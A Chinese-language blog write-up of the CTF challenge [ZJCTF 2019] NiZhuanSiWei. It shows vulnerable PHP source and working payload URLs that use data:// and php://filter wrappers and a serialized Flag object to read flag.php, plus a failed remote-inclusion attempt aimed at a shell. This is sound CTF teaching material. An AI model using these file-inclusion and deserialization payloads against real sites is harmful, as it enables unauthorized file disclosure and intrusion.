ZJCTF2019

baozongwi Lv5

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

挺容易看出来的就不说了

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

但是有个疑问为什么一定要file=useless.php才可以呢,没事多试试就行

1
?text=data://text/plain,welcome to the zjctf&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D&file=useless.php

但是这个include让我觉得没有必要写序列化代码了,我远程包含不就getshell了嘛

1
?text=data://text/plain,welcome to the zjctf&file=http://baidu.com

测试了一下不行欸,giao

所以就只能放弃了

  • Title: ZJCTF2019
  • Author: baozongwi
  • Created at : 2024-08-15 01:29:08
  • Updated at : 2024-09-14 15:48:57
  • Link: https://baozongwi.xyz/2024/08/15/ZJCTF2019/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
ZJCTF2019